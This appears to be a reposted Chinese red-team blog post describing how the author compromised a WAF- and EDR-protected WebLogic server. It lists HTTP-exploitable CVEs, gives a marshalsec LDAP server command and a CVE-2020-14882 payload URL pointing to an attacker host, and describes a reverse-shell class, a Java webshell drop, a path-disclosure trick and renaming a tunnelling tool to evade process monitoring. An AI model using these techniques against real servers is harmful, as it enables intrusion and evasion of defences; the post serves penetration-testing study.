龙空技术网

第16篇:Weblogic 2019-2729反序列化漏洞绕防护拿权限的实战过程

希潭实验室ABC123 131

前言:

现时咱们对“java的反序列化漏洞修复方案”大致比较关心,你们都需要剖析一些“java的反序列化漏洞修复方案”的相关知识。那么小编同时在网摘上收集了一些关于“java的反序列化漏洞修复方案””的相关内容,希望各位老铁们能喜欢,同学们一起来了解一下吧!

Part1 前言

大家好,我是ABC_123。前两期分享了《第14篇:Struts2框架下Log4j2漏洞检测方法分析与总结》、《第15篇:内网横向中windows各端口远程登录哈希传递的方法总结》,本期讲解一个Weblogic拿权限案例。

最近安服的同事打比赛,给我陆续发了好几个没有拿下来的Weblogic的站点,一直在想尽各种办法研究,争取拿下权限。各种WAF防护、终端防护、不出网、SUID不一致、EXP没回显等等原因,造成了现有工具、EXP都没法利用,难度都挺大的。接下来分享一个实战案例,一个Weblogic站点,T3、IIOP协议都关闭。我粗略看了一下,初步判断是有waf及终端防护在,绕过的过程还是曲折的,于是把过程记录下来,分享给大家,为了防止打码不全造成项目信息泄露,我还是拿一个虚拟机环境做演示吧,但是思路都是完整的。

Part2 技术研究过程

Weblogic中间件判断

打开weblogic站点,输入一个不存在的路径,服务器返回如下,证明是Weblogic中间件。

后续经过扫描探测发现T3、IIOP协议同时关闭了,仅限HTTP访问。于是回想了一下,Weblogic在HTTP下大致有以下几个可以拿权限的漏洞,我把相关漏洞CVE罗列出来:

筛选Weblogic HTTP下可用的EXP

经过一系列筛选,经过ABC_123总结,Webloigc中间件下HTTP可拿权限的漏洞大致有如下几个,其中CVE-2020-14882权限绕过漏洞,后续又接连出了好几个绕过方法,这里就不一一列举了。

CVE-2014-4210 weblogic SSRF漏洞。很老的一个漏洞了,可以通过打内网的redis匿名访问漏洞拿权限。

CVE-2018-2894 两处路径上传漏洞。/ws_utc/begin.do,/ws_utc/config.do,其中begin.do在开发模式下无需认证,在生产模式下需要认证

CVE-2018-3252 DeploymentService接口上传漏洞。需要用户名密码,打补丁后,可以判断用户名密码是否存在,但是无法上传文件成功

CVE-2020-14882 权限绕过代码执行漏洞。可以回显执行命令结果,可以结合jndi出网利用,可以加载xml文件任意代码执行

CVE-2017-3506 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行

CVE-2017-10271 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行

CVE-2019-2725 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行

CVE-2019-2729 代码执行漏洞。Weblogic10.3.6与12.1.3的POC构造不一样,Weblogic 12.1.3版本2729的不出网POC,目前无人公布在网上,网传的POC仅适用于JDK1.6 Weblogic10.3.6版本情况,原理是<array method="forName">标签替换,适用范围有限。

CVE-2021-2109 权限绕过漏洞。利用方式jndi,利用成功的前提条件有2个:1、需要出网;2、JDK版本小于等于JDK1.8.191

对于这几个漏洞的判断和利用,是很麻烦的:比如说CVE-2019-2725、CVE-2019-2729、CVE-2020-14756等的各种exp变形非常非常多,JDK1.6、JDK1.7、JDK1.8 不同JDK下exp均有不同,然后有的可以过waf、有的不能;有的可以回显,有的却回显不成功;有的exp路径存在,有的不存在等等。总之,各种情况下exp数量太多了,挨个测试非常麻烦。于是我写了一个简单的FUZZ工具,起一个线程池,把所有组合的exp通通尝试一遍,每个exp的发包请求、发包返回都会被记录,而且还内置了浏览器,这样可以仔细分析每个exp利用成功或者失败的原因,大家可以自己用python脚本实现一个,很简单。

最终经过筛选,发现只有两个exp可用,而且成功绕过了各种防护。

1 CVE-2019-2729的JNDI出网利用

这是其中一个能用的EXP,同时也意味着CVE-2017-10271、CVE-2019-2725漏洞均被打了补丁了,不能用,而且weblogic版本大致是12.1.3。而且服务器装的JDK需要是<=JDK 1.8.191才能利用成功。

2 CVE-2020-14882后台绕过及jndi出网利用

这个exp能用挺好的,基本上拿下权限是百分之百的事情,因为222.xml里面可以加载任意java代码,而且不用考虑JDK版本问题。

CVE-2020-14882漏洞的尝试

这个漏洞大体利用先前的权限绕过,发起一个jndi请求,检测POC大致如下图所示:

("%68%74%74%70%3a%2f%2xxx.xxx.xxx.xxx:53/123.xml")

首先验证一下漏洞可不可用,将上述URL中的xml远程地址替换成dnslog地址,dnslog地址有返回,证明漏洞存在且EXP可用。

接下来将123.xml文件中的命令替换成ping dnslog.cn的命令,结果发现dnslog没有返回,证明没有成功。。。这是什么情况。。。一顿操作没有找到问题所在。

CVE-2019-2729的JNDI尝试

接下来就把目光放在CVE-2019-2729这个JNDI的exp上了,首先编写一个实现了反弹shell功能的MyEvilClass.java文件,从ysoserial的github上摘抄了一个反弹shell的java代码,编译成MyEvilClass文件,用老外的神器marshalsec-0.0.3-SNAPSHOT-all.jar搭建起来,使用命令如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "; 53

MyEvilClass.java大致内容如下:

结果让人崩溃,这次反弹shell成功了,但是只要执行命令,反弹的shell就会断掉。提示“isn’t allowed to be executed”

太难了。。。估计有什么终端防护在上面。。接下来怎么办呢,没思路了,啥命令都执行不了。

换个思路拿下权限

后来我想了想,终端防护拦截的是CMD执行命令、拦截进程等操作,现在的攻击对象是Java反序列化漏洞,为啥不从Java代码层面上考虑问题呢?用Java代码中的PrintWriter类去写入一个Webshell就行了,终端防护总不能连正常的java类写文件操作都拦截吧。但是一个问题又来了,如何知道网站的绝对路径呢?看如下操作:

正常的漏洞路径如下:

在上述URL路径后面加上一个?info可以直接得到网站的绝对路径(看下图的右下角)

将上述网站绝对路径放到MyEvilClass.java文件中,完成一个写文件的操作。关键代码如下:

JNDI请求发起后,写文件的java代码被执行,webshell成功拿下。

绕过进程监控

接下来就是上传FRP或者dogtunnel架设Socks5代理了,结果还是遇到了麻烦。经过一系列测试,发现在/tmp目录下,任何新建进程都会在1分钟左右被终止掉、新建文件都会被删掉。执行ps -aux命令发现有process monitor字样的进程名存在。

后续绕过方法很简单,我在weblogic的domain目录下,传一个frp,将程序名字更改为weblogic或者tomcat。哈哈,进程拦截不拦截了,估计也不敢拦截,怕终止正常的weblogic或者tomcat应用。

Part3 总结

1. 遇到终端防护拦截执行命令的情况,不如换个思路,从java代码层面上考虑,它总不能连PrintWriter类写文件的正常操作都拦截吧。

2. 那些公布出来的Nday,也是有利用价值的,可以多研究一下漏洞原理和利用技巧。

3. /_async/AsyncResponseService?info 可以直接获取Weblogic的绝对路径。此外,Weblogic还有很多有意思的东西可以挖,很多地方都可以获取绝对路径。

公众号专注于网络安全技术分享,包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,每周一篇,99%原创,敬请关注。

Contact me: 0day123abc#gmail.com(replace # with @)

标签: #java的反序列化漏洞修复方案